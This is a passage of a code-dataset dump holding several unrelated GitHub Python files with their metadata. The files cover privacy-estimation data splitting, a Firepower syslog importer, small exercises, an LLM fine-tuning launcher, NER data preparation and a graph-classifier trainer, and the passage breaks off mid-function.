self.column_transformer = None\n self.label_encoder = None\n self.target_model_data = None\n self.attack_model_data = None\n super(ClassificationDataset, self).__init__(name)\n\n def load_data_from_df(self, input_features, target):\n \"\"\"\n Load data from another data frame.\n\n Parameters\n ----------\n input_features: pandas.DataFrame\n target: pandas.DataFrame\n\n Returns\n -------\n None\n\n \"\"\"\n self.df_x = input_features\n self.df_y = target\n\n def load_data(\n self,\n source_file,\n contains_header: bool = False,\n target_ix: int = None,\n ignore_ix: List[int] = None,\n ):\n \"\"\"\n Method that specifies how the data should be loaded. Mainly applicable for tabular data.\n\n Parameters\n ----------\n source_file: os.path\n Filename of the source file.\n contains_header: bool\n Whether to contain header.\n target_ix: int\n Index of the target variable.\n ignore_ix: List[int]\n Indices to be ignored.\n\n Returns\n -------\n pandas dataframe of shape (n_samples, n_feature), pandas df of shape (n_samples,)\n Input features and output labels.\n\n \"\"\"\n df = None\n if source_file.endswith(\".csv\"):\n if contains_header:\n df = pd.read_csv(\n source_file, sep=\",\", skiprows=1, header=None, encoding=\"utf-8\"\n ) # ignore the headers, especially when reading lots of datasets.\n else:\n df = pd.read_csv(source_file, sep=\",\", header=None, encoding=\"utf-8\")\n elif source_file.endswith(\".arff\"):\n data = arff.loadarff(source_file)\n df = pd.DataFrame(data[0])\n else:\n raise ValueError\n\n # first, find the y index and remove it to get x\n y_ix = target_ix if target_ix is not None else len(df.columns) - 1\n self.df_y = df.iloc[:, y_ix]\n if isinstance(self.df_y[0], bytes):\n self.df_y = self.df_y.str.decode(\"utf-8\")\n self.df_x = df.drop(df.columns[y_ix], axis=1)\n\n # next remove the ones that need to be ignored.\n if ignore_ix is not None:\n self.df_x = self.df_x.drop(ignore_ix, axis=1)\n\n def get_column_transformer(self):\n \"\"\"\n Transforming categorical and numerical features.\n\n Returns\n -------\n Pipeline\n pipeline of column transformers.\n\n \"\"\"\n if self.column_transformer is None:\n assert self.df_x is not None\n\n # select categorical and numerical features\n cat_ix = self.df_x.select_dtypes(include=[\"object\", \"bool\"]).columns\n num_ix = self.df_x.select_dtypes(include=[\"int64\", \"float64\"]).columns\n\n # get the column indices, since the drops mess up the column names\n cat_new_ix = [self.df_x.columns.get_loc(col) for col in cat_ix]\n num_new_ix = [self.df_x.columns.get_loc(col) for col in num_ix]\n\n # pipeline for categorical data\n cat_preprocessing = make_pipeline(\n SimpleImputer(strategy=\"constant\", fill_value=\"NA\"),\n OneHotEncoder(handle_unknown=\"ignore\"),\n )\n\n # pipeline for numerical data\n num_preprocessing = make_pipeline(\n SimpleImputer(strategy=\"mean\"), MinMaxScaler()\n )\n\n # combine both pipeline using a columnTransformer\n self.column_transformer = ColumnTransformer(\n [\n (\"num\", num_preprocessing, num_new_ix),\n (\"cat\", cat_preprocessing, cat_new_ix),\n ]\n )\n\n return self.column_transformer\n\n def get_label_encoder(self):\n \"\"\"\n Encode the labels.\n\n Returns\n -------\n LabelEncoder\n\n \"\"\"\n if self.label_encoder is None:\n self.label_encoder = LabelEncoder()\n return self.label_encoder\n\n def fit_encoders_and_transform(self, df_x, df_y):\n \"\"\"\n Transform the data and encode labels\n :param df_x: {array-like, sparse matrix} of shape (n_samples, n_feature),\n Input features\n :param df_y: Output labels\n :return: Transformed features and encoded labels\n \"\"\"\n df_x = self.column_transformer.fit_transform(df_x)\n df_y = self.label_encoder.fit_transform(df_y)\n return df_x, df_y\n\n def fit_encoders(self, df_x, df_y):\n \"\"\"\n Fit the column transformer and label encoders. This should really be only done\n on the train set to avoid accidentally learning something from the test dataset\n\n Parameters\n ----------\n df_x: {array-like, sparse matrix} of shape (n_samples, n_feature),\n Input features\n df_y: darray of shape (n_samples,)\n Output labels\n\n Returns\n -------\n None\n\n \"\"\"\n self.get_column_transformer() # this will set the column transformer\n self.get_label_encoder() # this will set the label encoder\n\n self.column_transformer.fit(df_x)\n unique_values = list(df_y.unique())\n if df_y.dtypes == \"int64\":\n unique_values.append(-10000)\n else:\n unique_values.append(\"Unseen\")\n self.label_encoder = self.label_encoder.fit(unique_values)\n\n def encode_data(self, df_x, df_y):\n \"\"\"\n Apply the column transformer and label encoder\n\n Parameters\n ----------\n df_x: {array-like, sparse matrix} of shape (n_samples, n_feature),\n Input features\n df_y: darray of shape (n_samples,)\n Output labels\n\n Returns\n -------\n {array-like, sparse matrix} of shape (n_samples, n_feature), darray of shape (n_samples,)\n Encoded data\n\n \"\"\"\n df_x = self.column_transformer.transform(df_x)\n for i in range(len(df_y)):\n label = df_y.array[i]\n if label not in self.label_encoder.classes_:\n if df_y.dtypes == \"int64\":\n df_y = df_y.replace(to_replace=label, value=-10000)\n else:\n df_y = df_y.replace(to_replace=label, value=\"Unseen\")\n df_y = self.label_encoder.transform(df_y)\n return df_x, df_y\n\n def get_num_rows(self):\n \"\"\"\n Get number of rows in the dataset.\n\n Returns\n -------\n int\n number of rows in the dataset.\n\n \"\"\"\n return self.df_y.shape[0]\n\n def prepare_target_and_attack_data(\n self,\n data_split_seed,\n dataset_split_ratios,\n ):\n \"\"\"\n Given the data split ratios, preform the data split, and prepare appropriate datasets\n for training and testing the target and attack models.\n\n Parameters\n ----------\n data_split_seed: int\n Random seed for splitting the data.\n dataset_split_ratios: dict[DataSplit -> float]\n Map of data split names and fractions.\n\n Returns\n -------\n None\n\n \"\"\"\n data_split_names = [e.name for e in dataset_split_ratios.keys()]\n data_split_ratios = list(dataset_split_ratios.values())\n self.split_dataset(data_split_seed, data_split_ratios, data_split_names)\n\n \"\"\"\n Merge appropriate splits to create the train set for the target model. Also fit data\n encoders on this training set, and encode the target train and test sets.\n \"\"\"\n X_target_train, y_target_train = self.get_merged_sets(\n (\n DataSplit.ATTACK_TRAIN_IN.name,\n DataSplit.ATTACK_TEST_IN.name,\n DataSplit.TARGET_ADDITIONAL_TRAIN.name,\n )\n )\n X_target_valid, y_target_valid = self.splits[DataSplit.TARGET_VALID.name]\n X_target_test, y_target_test = self.splits[DataSplit.TARGET_TEST.name]\n # encoding the data\n self.fit_encoders(X_target_train, y_target_train)\n X_target_train, y_target_train = self.encode_data(\n X_target_train, y_target_train\n )\n X_target_valid, y_target_valid = self.encode_data(\n X_target_valid, y_target_valid\n )\n X_target_test, y_target_test = self.encode_data(X_target_test, y_target_test)\n\n self.target_model_data = TargetModelData(\n X_target_train,\n y_target_train,\n X_target_valid,\n y_target_valid,\n X_target_test,\n y_target_test,\n )\n \"\"\"\n Prepare attack model train and test sets by merging appropriate splits, and calculating the\n membership ground truth label - i.e., recording whether or not this data point was used as\n part of the training set for the target model. This label is stored in y_membership_train\n and y_membership_test, for the attack train and test sets respectively. Finally, encode the\n attack data points.\n \"\"\"\n\n (\n X_attack_train,\n y_attack_train,\n y_membership_train,\n ) = self.create_attack_set_from_splits(\n DataSplit.ATTACK_TRAIN_IN.name, DataSplit.ATTACK_TRAIN_OUT.name\n )\n\n (\n X_attack_test,\n y_attack_test,\n y_membership_test,\n ) = self.create_attack_set_from_splits(\n DataSplit.ATTACK_TEST_IN.name, DataSplit.ATTACK_TEST_OUT.name\n )\n\n # encode data\n X_attack_train, y_attack_train = self.encode_data(\n X_attack_train, y_attack_train\n )\n X_attack_test, y_attack_test = self.encode_data(X_attack_test, y_attack_test)\n\n self.attack_model_data = AttackModelData(\n X_attack_train,\n y_attack_train,\n y_membership_train,\n X_attack_test,\n y_attack_test,\n y_membership_test,\n )\n","repo_name":"oracle/guardian-ai","sub_path":"guardian_ai/privacy_estimation/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":24643,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"62"} +{"seq_id":"40937002573","text":"#a and b are multiplicative inverses if a*b=nk+r such that r=1\nm=int(input(\"Enter your m value for the set Z_m: \"))\nZ_m=[]\nMInverses=[]\n\nfor rs in range(1,m): #starting from 1 b/c we want to check all non-zero elements of Z_m\n Z_m.append(rs)\n\nfor elements in Z_m:\n for ii in range(1,m): #starting from 1 b/c we want to check all non-zero elements of Z_m\n if (elements*ii-1) % m == 0:\n print(elements,\"and\",ii,\"are multiplicative inverses of\",m)\n MInverses.append(elements)\n \nfor invs in MInverses:\n while MInverses.count(invs) > 1:\n MInverses.remove(invs)\n \nprint()\nprint(m,\"has in total\",len(MInverses),\"multiplicative inverses:\")\nprint(MInverses)","repo_name":"RedR1der/Key-MATH361B","sub_path":"Number Theory/N4_Inverses_Key.py","file_name":"N4_Inverses_Key.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19943390008","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis module is used to import Firepower syslog events into Cisco Command Center\n\"\"\"\n\nimport json\nimport os\nimport re\nimport socketserver\n\nimport pymongo\n\nfrom datetime import datetime\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\nclass FirepowerSyslogHandler():\n \"\"\"\n A class to parse Firepower syslog events.\n \"\"\"\n\n __db_address = None\n __db_username = None\n __db_password = None\n\n def __init__(self):\n self.__db_address = os.getenv(\"MONGO_INITDB_ADDRESS\")\n self.__db_username = os.getenv(\"MONGO_INITDB_ROOT_USERNAME\")\n self.__db_password = os.getenv(\"MONGO_INITDB_ROOT_PASSWORD\")\n\n def _parse_event(self, data):\n \"\"\"\n Parse the data using regex to extract the pertinent Firepower data.\n \"\"\"\n\n # A Regex string for parsing Firepower IPS events generated by the FMC\n regex_string = r\"([a-zA-z]{3}\\s*\\d{1,2}\\s\\d{2}:\\d{2}:\\d{2}) (\\S*) SFIMS: \\[([0-9:]*)\\] \\\"([^\\\"]*)\\\"\\s*\" \\\n r\"\\[Impact: ([^\\]]*)\\]?\\s*From \\\"([^\\\"]*)\\\" at ([a-zA-Z]{3}\\s[a-zA-Z]{3}\\s*\\d{1,2}\\s\\d{2}:\\d{2}:\\d{2}\\s\\d{4}\\s\\S*)\\s*\" \\\n r\"\\[Classification: ([^\\]]*)\\]?\\s*\\[Priority: ([^\\]]*)\\]\\s\\{([^\\}]*)\\} ([0-9.]*):?([0-9]*)?\\s?\\(?([^\\)]*)\\)?->([0-9.]*)\" \\\n r\":?([0-9]*)?\\s*\\(?([^\\)]*)\\)?\"\n\n # Try to parse the event, if this fails None is returned\n parsed_event = re.search(regex_string, data, re.MULTILINE)\n\n # If we properly parsed the event, do stuff\n if parsed_event:\n\n # Parse the current event time\n current_event_time = datetime.strptime(parsed_event.group(7), \"%a %b %d %H:%M:%S %Y %Z\")\n\n # Store the parsed data into a dict\n event_json = {\n \"product\": \"Firepower\",\n \"fmc_hostname\": parsed_event.group(2),\n \"snort_id\": parsed_event.group(3),\n \"snort_name\": parsed_event.group(4),\n \"event_name\": parsed_event.group(4),\n \"event_details\": f\"{parsed_event.group(8)} event {parsed_event.group(4)} was detected by '{parsed_event.group(6)}'.\",\n \"impact_level\": parsed_event.group(5),\n \"sensor_name\": parsed_event.group(6),\n \"timestamp\": current_event_time,\n \"formatted_timestamp\": current_event_time.strftime(\"%b %d, %Y %H:%M:%S UTC\"),\n \"classification\": parsed_event.group(8),\n \"priority\": parsed_event.group(9),\n \"protocol\": parsed_event.group(10),\n \"src_ip\": parsed_event.group(11),\n \"src_port\": parsed_event.group(12),\n \"src_geo\": parsed_event.group(13),\n \"dst_ip\": parsed_event.group(14),\n \"dst_port\": parsed_event.group(15),\n \"dst_geo\": parsed_event.group(16),\n }\n\n return event_json\n\n else:\n return None\n\n def _commit_to_db(self, event_json):\n \"\"\"\n Commit the provided Event JSON to the database.\n \"\"\"\n\n # Connect to the MongoDB instance\n db_client = pymongo.MongoClient(f\"mongodb://{self.__db_address}/\",\n username=self.__db_username,\n password=self.__db_password)\n\n # Use the 'commandcenter' database\n command_center_db = db_client[\"commandcenter\"]\n\n # Use the 'events' collection from the 'commandcenter' database\n command_center_events = command_center_db[\"events\"]\n\n # Store the event in the database\n db_record = command_center_events.insert_one(event_json)\n\n print(f\"Inserted Firepower event at MongoDB ID {db_record.inserted_id}\")\n\n\nclass SyslogHandler(socketserver.BaseRequestHandler):\n \"\"\"\n The RequestHandler class for Command Center Syslog events.\n \"\"\"\n\n def handle(self):\n \"\"\"\n Handle when a packet is received on the socket.\n \"\"\"\n\n self.data = bytes.decode(self.request[0].strip())\n self.socket = self.request[1]\n\n print(f\"{self.client_address[0]} sent the following: {self.data}\")\n\n event_parser = FirepowerSyslogHandler()\n\n # Try to parse the event data\n event_json = event_parser._parse_event(self.data)\n\n # If the event was parsed\n if event_json:\n\n # Store the event\n event_parser._commit_to_db(event_json)\n\n\nif __name__ == \"__main__\":\n\n try:\n server = socketserver.UDPServer((\"0.0.0.0\", 4514), SyslogHandler)\n server.serve_forever()\n except (IOError, SystemExit):\n raise\n except KeyboardInterrupt:\n print(\"Crtl+C Pressed. Shutting down.\")\n","repo_name":"TheAlanNix/CommandCenter","sub_path":"FirepowerSyslogImporter/firepower_syslog_event_importer.py","file_name":"firepower_syslog_event_importer.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"74729496517","text":"# this is extended version of fibonacci numbers \n# as for 1 stair - 1 way\n# for 2 stair 2 ways - 1-1 and 2\n# for 3 stairs theere are ways for 2 stairs and ways for 1 stairs\n# formual = climbStairs(n-1)+climbStairs(n-1)\n# 1 1 2 3 5 8 13 .......\n\nclass Solution:\n def climbStairs(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n\n \"\"\"\n a = 1\n b = 0\n c=0\n if n==1 or n==2:\n return n\n for i in range(n):\n c = a+b\n b = a\n a = c\n return c\n","repo_name":"himanshush200599/codingPart","sub_path":"leetcode/easy/climbStairs.py","file_name":"climbStairs.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"30478078140","text":"import llm_atc.constants\nimport logging\nimport os\nimport sky\nfrom sky.data.storage import Storage\n\nfrom omegaconf import OmegaConf\nfrom typing import Dict, List, Optional, Tuple\n\n\nSUPPORTED_MODELS = (\"vicuna\",)\n\n\ndef train_task(model_type: str, *args, **launcher_kwargs) -> sky.Task:\n \"\"\"\n Dispatch train launch to corresponding task default config\n\n Args:\n model_type (str): LLM type to be trained\n\n Raises:\n ValueError: Unsupported LLM requested\n\n Returns:\n sky.Task representing the task that was just launched.\n \"\"\"\n if model_type == \"vicuna\":\n return VicunaLauncher(**launcher_kwargs).launch()\n else:\n raise ValueError(\n f\"model type = {model_type}. Available models = {SUPPORTED_MODELS}\"\n )\n\n\nclass Launcher:\n \"\"\"\n Wrapper around sky.launch to handle routing model types to the correct setup and run scripts.\n \"\"\"\n\n def __init__(\n self,\n finetune_data: str,\n checkpoint_bucket: str = \"llm-atc\",\n checkpoint_store: str = \"S3\",\n name: Optional[str] = None,\n cloud: Optional[str] = None,\n accelerator: Optional[str] = None,\n envs: Optional[List[Tuple[str, str]]] = [],\n region: Optional[str] = None,\n zone: Optional[str] = None,\n ):\n self.finetune_data: str = finetune_data\n self.checkpoint_bucket: str = checkpoint_bucket\n self.checkpoint_store: str = checkpoint_store\n self.name: Optional[str] = name\n self.cloud: Optional[str] = cloud\n self.region: Optional[str] = region\n self.zone: Optional[str] = zone\n self.accelerator: Optional[str] = accelerator\n self.envs: Dict[str, str] = {}\n for k, v in envs:\n self.envs[k] = v\n\n\nclass VicunaLauncher(Launcher):\n @property\n def default_task(self) -> sky.Task:\n return sky.task.Task.from_yaml(\n os.path.join(llm_atc.constants.LLM_ATC_TRAIN_CONFIGS, \"vicuna.yml\")\n )\n\n def launch(self) -> sky.Task:\n \"\"\"Return the specification for this task.\n\n Returns:\n sky.Task: Task specification for this train job\n \"\"\"\n task = self.default_task\n task.name = self.name\n self.envs[\"MODEL_NAME\"] = self.name\n if \"MODEL_BASE\" not in self.envs:\n logging.warning(\n f\"envs.MODEL_BASE not set, defaulting to {task.envs['MODEL_BASE']}\"\n )\n if \"WANDB_API_KEY\" not in self.envs:\n logging.warning(f\"envs.WANDB_API_KEY not set, skipping WandB logging\")\n if \"HF_TOKEN\" not in self.envs:\n raise ValueError(\n \"No huggingface access token provided. You will not be able to finetune starting from Llama2\"\n )\n self.envs[\"MY_BUCKET\"] = self.checkpoint_bucket\n self.envs[\"BUCKET_TYPE\"] = self.checkpoint_store\n task.update_envs(self.envs)\n task.update_file_mounts({\"/data/mydata.json\": self.finetune_data})\n storage = Storage(name=self.checkpoint_bucket)\n storage.add_store(self.checkpoint_store)\n task.update_storage_mounts({\"/artifacts\": storage})\n resource = list(task.get_resources())[0]\n resource._set_accelerators(self.accelerator, None)\n resource._cloud = sky.clouds.CLOUD_REGISTRY.from_str(self.cloud)\n resource._validate_and_set_region_zone(self.region, self.zone)\n task.set_resources(resource)\n return task\n","repo_name":"Trainy-ai/llm-atc","sub_path":"llm_atc/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"62"} +{"seq_id":"25446492412","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2020/10/22 11:19\r\n# @Author : tmb\r\nfrom socket import *\r\n\r\nudpServer = socket(AF_INET, SOCK_DGRAM)\r\nudpServer.bind(('0.0.0.0', 22222))\r\nwhile True:\r\n data, addr = udpServer.recvfrom(1024)\r\n print(data.decode('utf-8'))\r\n udpServer.sendto(data, addr)\r\n print('received and returned', addr)\r\nudpServer.close()\r\n","repo_name":"tianmingbo/GOOD-GOOD-STUDY","sub_path":"DAYDAYUP/网络编程/UDP服务端.py","file_name":"UDP服务端.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"43409123339","text":"# WRITE YOUR SOLUTION HERE:\nclass Car:\n def __init__(self):\n self.__petrol_tank = 0\n self.__odometer = 0\n\n def fill_up(self):\n self.__petrol_tank = 60\n\n def drive(self, km:int):\n rest_tank = self.__petrol_tank - km\n if rest_tank >= 0:\n self.__odometer += km\n self.__petrol_tank -= km\n else:\n self.__odometer += self.__petrol_tank\n self.__petrol_tank = 0\n\n def __str__(self):\n return f\"Car: odometer reading {self.__odometer} km, petrol remaining {self.__petrol_tank} litres\"\n\nif __name__ == \"__main__\":\n car = Car()\n print(car) #1\n car.fill_up()\n print(car) #2\n car.drive(20)\n print(car) #3\n car.drive(50)\n print(car) #4\n car.drive(10)\n print(car) #5\n car.fill_up()\n car.fill_up()\n print(car) #6\n# Sample output\n# 1 # Car: odometer reading 0 km, petrol remaining 0 litres\n# 2 # Car: odometer reading 0 km, petrol remaining 60 litres\n# 3 # Car: odometer reading 20 km, petrol remaining 40 litres\n##### now DRIVE 40 km more and car stop- without petrol- rest drive 10km (total 50km)\n# 4 # Car: odometer reading 60 km, petrol remaining 0 litres - no petrol no drive\n# 5 # Car: odometer reading 60 km, petrol remaining 0 litres - no petrol no drive\n##### fill tank twice.....60 + 60 litres but only can charge 60litres\n# 6 # Car: odometer reading 60 km, petrol remaining 60 litres","repo_name":"aleboffa/Python","sub_path":"Helsinki-programming-2022/part09-09_car/src/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31054892308","text":"#coding:utf-8\r\n'''\r\nCreated on 2018年2月9日\r\n\r\n@author: qiujiahao\r\n\r\n@email:997018209@qq.com\r\n\r\n'''\r\nimport random\r\nimport numpy as np\r\nimport sys\r\nsys.path.append('..')\r\nfrom collections import defaultdict\r\nfrom collections import Counter\r\nfrom gensim.models import Word2Vec\r\nfrom conf import get_args\r\n\r\nrandom.seed(32)\r\nnp.random.seed(32)\r\n\r\nclass data(object):\r\n def __init__(self,args):\r\n self.args=args\r\n self.data_process()\r\n \r\n def data_process(self):\r\n \r\n #初始化\r\n self.init()\r\n \r\n #建立词汇表\r\n self.build_vocab_size()\r\n \r\n #训练word2vec\r\n self.train_word2vec()\r\n \r\n def init(self):\r\n #打印参数\r\n print('当前配置参数列表:\\n{}'.format(self.args))\r\n \r\n ## tags, BIO\r\n self.tag2label = {\"O\": 0,\r\n \"B-PER\": 1, \"I-PER\": 2,\r\n \"B-LOC\": 3, \"I-LOC\": 4,\r\n \"B-ORG\": 5, \"I-ORG\": 6\r\n }\r\n self.label2tag={value:key for key,value in self.tag2label.items()}\r\n self.quest_label=defaultdict(int)\r\n self.labels={value:key for key,value in self.tag2label.items()}\r\n self.train_data=[]\r\n self.sentences=[]\r\n sentence=[]\r\n tag=[]\r\n print('开始读入数据')\r\n with open('../data/data.txt','r',encoding='utf-8') as f:\r\n for line in f.readlines():\r\n line=line.strip().split(' ')\r\n if len(line)<=1:\r\n self.sentences.append(sentence)\r\n self.quest_label[''.join(sentence)]=tag\r\n sentence,tag=[],[]\r\n continue\r\n sentence.append(line[0]) \r\n tag.append(self.tag2label[line[1]])\r\n \r\n print('标签数量:{}'.format(len(self.labels)))\r\n print('总数据量:{}'.format(len(self.quest_label)))\r\n \r\n def get_batch_data(self):\r\n \"\"\"生成批次数据\"\"\"\r\n quests,labels=np.array(list(self.quest_label.keys())),np.array(list(self.quest_label.values()))\r\n shuffle_indices=np.random.permutation(np.arange(len(self.quest_label))) \r\n #生成训练数据 \r\n rate=int(0.9*len(shuffle_indices)) \r\n train_x,train_y=quests[0:rate],labels[0:rate]\r\n test_x,test_y=quests[rate:],labels[rate:]\r\n test_x,test_x_lenth,test_y=self.build_vector(test_x,test_y) \r\n print('train_x,train_y,test_x,test_y',train_x.shape,train_y.shape,test_x.shape,test_y.shape)\r\n num_batches_per_epoch = int((len(train_x)-1)/self.args.batch_size) + 1\r\n print('num_batches_per_epoch:',num_batches_per_epoch)\r\n for epoch in range(self.args.num_epochs): \r\n print('Epoch:', epoch + 1)\r\n for batch_num in range(num_batches_per_epoch):\r\n start_index = batch_num * self.args.batch_size \r\n end_index = min((batch_num + 1) * self.args.batch_size, len(train_x))\r\n batch_x=train_x[start_index:end_index]\r\n batch_y=train_y[start_index:end_index]\r\n batch_x,batch_x_lenth,batch_y=self.build_vector(batch_x,batch_y)\r\n yield batch_x,batch_y,batch_x_lenth,test_x,test_y,test_x_lenth \r\n #建立词汇表\r\n def build_vocab_size(self):\r\n \"\"\"根据训练集构建词汇表,存储\"\"\"\r\n all=''.join(self.quest_label.keys())\r\n counter = Counter(all)\r\n count_pairs = counter.most_common(5000 - 1)\r\n words, _ = list(zip(*count_pairs))\r\n # 添加一个 来将所有文本pad为同一长度\r\n words = [''] + list(words)\r\n self.word_to_id=dict(zip(words,range(len(words))))\r\n print('词汇表数量:%d'%(len(words))) \r\n self.vocab_size=len(words) \r\n \r\n #向量化\r\n def build_vector(self,batch_x,batch_y):\r\n results=[]\r\n for quest in batch_x:\r\n vec=[self.word_to_id[w] for w in quest]\r\n results.append(vec)\r\n results=self.pad_sequences(results)\r\n \r\n labels=[]\r\n for label in batch_y:\r\n ll=label+(len(results[0][0])-len(label))*[0]#对应的tag的长度应该是和quest一样,quest填充的部分,一律为0\r\n labels.append(ll)\r\n return np.array(results[0]),np.array(results[1]),np.array(labels)\r\n \r\n #训练word2vec\r\n def train_word2vec(self):\r\n kwargs={}\r\n \r\n kwargs[\"workers\"]=8#设置几个工作线程来训练模型\r\n kwargs[\"sentences\"] = self.sentences\r\n kwargs[\"min_count\"] = 0 #设置最低有效词频\r\n kwargs[\"size\"] = self.args.embedded_size #是特征向量的维数\r\n kwargs[\"sg\"] = 0 #定义训练算法,默认是sg=0,采用CBOW,否则sg=1采用skip-gram\r\n\r\n print (\"Start training word2vec...\")\r\n word2vec = Word2Vec(**kwargs)\r\n self.embeddings = [0]*len(self.word_to_id)\r\n \r\n for word,value in self.word_to_id.items():\r\n try:\r\n self.embeddings[value] = word2vec[word]\r\n except:\r\n self.embeddings[value] = np.array([0]*self.args.embedded_size)#这个单词是不存在的,设为0\r\n self.embeddings=np.float32(self.embeddings)#转换格式 \r\n #将本批次的填充为一个长度\r\n def pad_sequences(self,sequences, pad_mark=0):\r\n max_len = max(map(lambda x : len(x), sequences))\r\n seq_list, seq_len_list = [], []\r\n for seq in sequences:\r\n seq_ = seq[:max_len] + [pad_mark] * max(max_len - len(seq), 0)\r\n seq_list.append(seq_)\r\n seq_len_list.append(min(len(seq), max_len))\r\n return seq_list, seq_len_list\r\n \r\nif __name__=='__main__':\r\n args=get_args()\r\n d=data(args) ","repo_name":"qiu997018209/TensorFlow","sub_path":"13.命名实体识别第一版(集成crf++和深度学习crf两种方法)/BiLSTM_CRF/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"62"} +{"seq_id":"17995649778","text":"from operator import mod\nimport statistics\nimport timeit\nimport os\nimport logging\nimport pdb\nimport numpy as np\nimport time\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom sklearn import metrics\nimport json\nfrom torch.nn.utils import clip_grad_norm_\n\n\nclass Trainer():\n def __init__(self, params, graph_classifier, train, train_evaluator = None, valid_evaluator=None, test_evaluator = None):\n self.graph_classifier = graph_classifier\n self.train_evaluator=train_evaluator\n self.valid_evaluator = valid_evaluator\n self.params = params\n self.train_data = train\n self.test_evaluator = test_evaluator\n self.updates_counter = 0\n\n model_params = list(self.graph_classifier.parameters())\n \n logging.info('Total number of parameters: %d' % sum(map(lambda x: x.numel(), model_params)))\n\n if params.optimizer == \"SGD\":\n self.optimizer = optim.SGD(model_params, lr=params.lr, momentum=params.momentum, weight_decay=self.params.l2)\n if params.optimizer == \"Adam\":\n self.optimizer = optim.Adam(model_params, lr=params.lr, weight_decay=self.params.l2)\n\n self.criterion = nn.BCELoss()\n self.reset_training_state()\n\n self.all_train_loss = []\n self.all_valid_loss = []\n self.all_test_loss = []\n\n self.all_train_auc = []\n self.all_valid_auc = []\n self.all_test_auc = []\n\n self.all_train_aupr = []\n self.all_valid_aupr = []\n self.all_test_aupr = []\n\n self.all_train_f1_score = []\n self.all_valid_f1_score = []\n self.all_test_f1_score = []\n\n self.best_test_result = {}\n\n\n def reset_training_state(self):\n self.best_metric = 0\n self.last_metric = 0\n self.not_improved_count = 0\n\n def load_model(self):\n self.graph_classifier.load_state_dict(torch.load(\"my_resnet.pth\"))\n\n\n def l2_regularization(self, weight):\n l2_loss = []\n for module in self.graph_classifier.modules():\n if type(module) is nn.Linear:\n l2_loss.append((module.weight ** 2).sum() / 2)\n return weight * sum(l2_loss)\n\n\n def train_epoch(self):\n total_loss = 0\n all_preds = []\n all_labels = []\n all_preds_scores = []\n\n train_all_auc = []\n train_all_aupr = []\n train_all_f1 = []\n\n dataloader = DataLoader(self.train_data, batch_size=self.params.batch_size, shuffle=True, num_workers=self.params.num_workers, collate_fn=self.params.collate_fn)\n self.graph_classifier.train()\n model_params = list(self.graph_classifier.parameters())\n bar = tqdm(enumerate(dataloader))\n\n self.params.eval_every_iter = int(self.train_data.num_graphs_pairs/self.params.batch_size) + 1\n\n for b_idx, batch in bar:\n data_pos, r_labels_pos, targets_pos = self.params.move_batch_to_device(batch, self.params.device)\n self.optimizer.zero_grad()\n score_pos, g_rep = self.graph_classifier(data_pos)\n \n # BCELoss\n m = nn.Sigmoid()\n score_pos = torch.squeeze(m(score_pos))\n\n loss_train = self.criterion(score_pos, r_labels_pos)\n model_params = list(self.graph_classifier.parameters())\n\n l2 = self.l2_regularization(self.params.l2)\n loss = torch.sum(loss_train) + l2\n\n loss.backward()\n clip_grad_norm_(self.graph_classifier.parameters(), max_norm=10, norm_type=2)\n self.optimizer.step()\n self.updates_counter += 1\n # calculate train metric\n bar.set_description('epoch: ' + str(b_idx+1) + '/ loss_train: ' + str(loss.cpu().detach().numpy()))\n with torch.no_grad():\n total_loss += loss.item()\n target = r_labels_pos.to('cpu').numpy().flatten().tolist()\n all_labels += target\n\n y_preds = score_pos.cpu().flatten().tolist()\n all_preds += y_preds\n\n pred_scores = [1 if i else 0 for i in (np.asarray(y_preds) >= 0.5)]\n all_preds_scores += pred_scores\n\n train_auc = metrics.roc_auc_score(target, y_preds)\n p, r, t = metrics.precision_recall_curve(target, y_preds)\n train_aupr = metrics.auc(r, p)\n\n train_f1 = metrics.f1_score(target, pred_scores)\n\n train_all_auc.append(train_auc)\n train_all_aupr.append(train_aupr)\n train_all_f1.append(train_f1)\n\n # calculate valida and test metric\n if self.updates_counter % self.params.eval_every_iter == 0:\n self.make_valid_test()\n \n weight_norm = sum(map(lambda x: torch.norm(x), model_params))\n\n train_loss = total_loss / b_idx\n train_auc = np.mean(train_all_auc)\n train_aupr = np.mean(train_all_aupr)\n train_f1 = np.mean(train_all_f1)\n\n return train_loss, train_auc, train_aupr, train_f1, weight_norm\n\n\n def train(self):\n self.reset_training_state()\n\n all_train_loss = []\n all_train_auc = []\n all_train_aupr = []\n all_train_f1_score = []\n\n for epoch in range(1, self.params.num_epochs + 1):\n time_start = time.time()\n \n train_loss, train_auc, train_aupr, train_f1, weight_norm = self.train_epoch()\n all_train_loss.append(train_loss)\n all_train_auc.append(train_auc)\n all_train_aupr.append(train_aupr)\n all_train_f1_score.append(train_f1)\n\n self.all_train_loss.append(train_loss)\n self.all_train_auc.append(train_auc)\n self.all_train_aupr.append(train_aupr)\n self.all_train_f1_score.append(train_f1)\n\n time_elapsed = time.time() - time_start\n logging.info(f'Epoch {epoch} with loss: {train_loss}, training auc: {train_auc}, training aupr: {train_aupr}, weight_norm: {weight_norm} in {time_elapsed}')\n\n 